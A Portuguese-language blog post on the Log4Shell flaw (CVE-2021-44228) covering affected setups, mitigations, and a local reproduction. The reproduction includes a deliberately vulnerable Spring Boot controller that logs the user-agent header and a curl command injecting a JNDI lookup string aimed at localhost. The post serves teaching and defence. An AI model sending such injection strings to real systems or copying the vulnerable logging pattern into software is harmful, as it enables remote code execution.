Log4Shell: vulnerabilidade pacote Log4J2 — CVE-2021–44228.

Filipe Munhoz
3 min readDec 16, 2021

--

No dia 09 de dezembro de 2021 foi descoberta uma nova vulnerabilidade (0 day exploit), de execução de código remota (RCE), em uma das mais famosas bibliotecas utilizadas para gravação de logs no java, o Log4.

CVE-2021–44228

A vulnerabilidade está classificada com uma nota 10 de 10, sendo a complexidade do ataque baixa de ser explorada.
https://www.oracle.com/security-alerts/alert-cve-2021-44228.html

Spring Boot

As aplicações que utilizam Spring Boot serão afetadas somente se o sistema default de logs for alterado para utilização do Log4j2. Os jars log4j-to-slf4j e log4j-api presentes por padrão no pacote spring-boot-starter-logging não podem ser explorados. Apenas aplicações que utilizam log4j-core.

JDKs não afetados

As versões de JDK maiores que 6u211, 7u201, 8u191 e 11.0.1 não foram afetadas. Por padrão com.sun.jndi.ldap.object.trustURLCodebase é setado como false impedindo que o JDNI carregue código remoto utilizando LDAP.

Mitigação

  • Opção 1: Atualizar a versão do pacote para a 2.16.0 através do Maven Central ou diretamente pelo site da Apache.
  • Opção 2: Setar a flag para nao realizar o lookup desta maneira:
java -Dlog4j2.formatMsgNoLookups=true
  • Opção 3: Possibilidade de aplicar um patch enquanto o servidor está rodando através do Log4JHotPatch, até que a versão seja atualizada na aplicação.

Reprodução

Para simular a vulnerabilidade, iremos criar uma aplicação utilizando o JDK 8u161 baixado pelo endereço javase8-archive-downloads.

pom.xml

Vamos criar uma aplicação Springboot 2.6.1 e desabilitar o sistema padrão de logs fazendo a modificação no arquivo pom.xml.

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>

</exclusions>
</dependency>

Em seguida adicionamos a dependência do log4j2.

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>2.6.1</version>
</dependency>

MainController.java

Criamos uma instância Logger que utiliza a dependência adicionada do log4J2.

Em seguida, utilizando GetMapping na raíz, vamos recuperar o user-agent preenchido pelo usuário através do RequestHeader("user-agent").

E iremos gerar um log.error() passando o user-agent recuperado do header.

package com.log4shell.log4shellpoc;import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("Log4Shell");

@GetMapping("/")
public String index(@RequestHeader("user-agent") String userAgent) {
logger.error("Logging user-agent: {}", userAgent);
return "OK";
}
}

Execução

Via terminal usando curl ou alguma outra ferramenta de sua preferência, vamos injetar no header do user-agent a string contendo o código a ser executado no momento de gerar o log ${jndi:ldap://127.0.0.1:1099/}

curl localhost:8080 -H 'user-agent: ${jndi:ldap://127.0.0.1:1099/}'

Console

O resultado esperado será uma exception

javax.naming.CommunicationException: 127.0.0.1:1099 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

--

--

Filipe Munhoz
Filipe Munhoz

Written by Filipe Munhoz

Software Engineer at Itaú Unibanco

No responses yet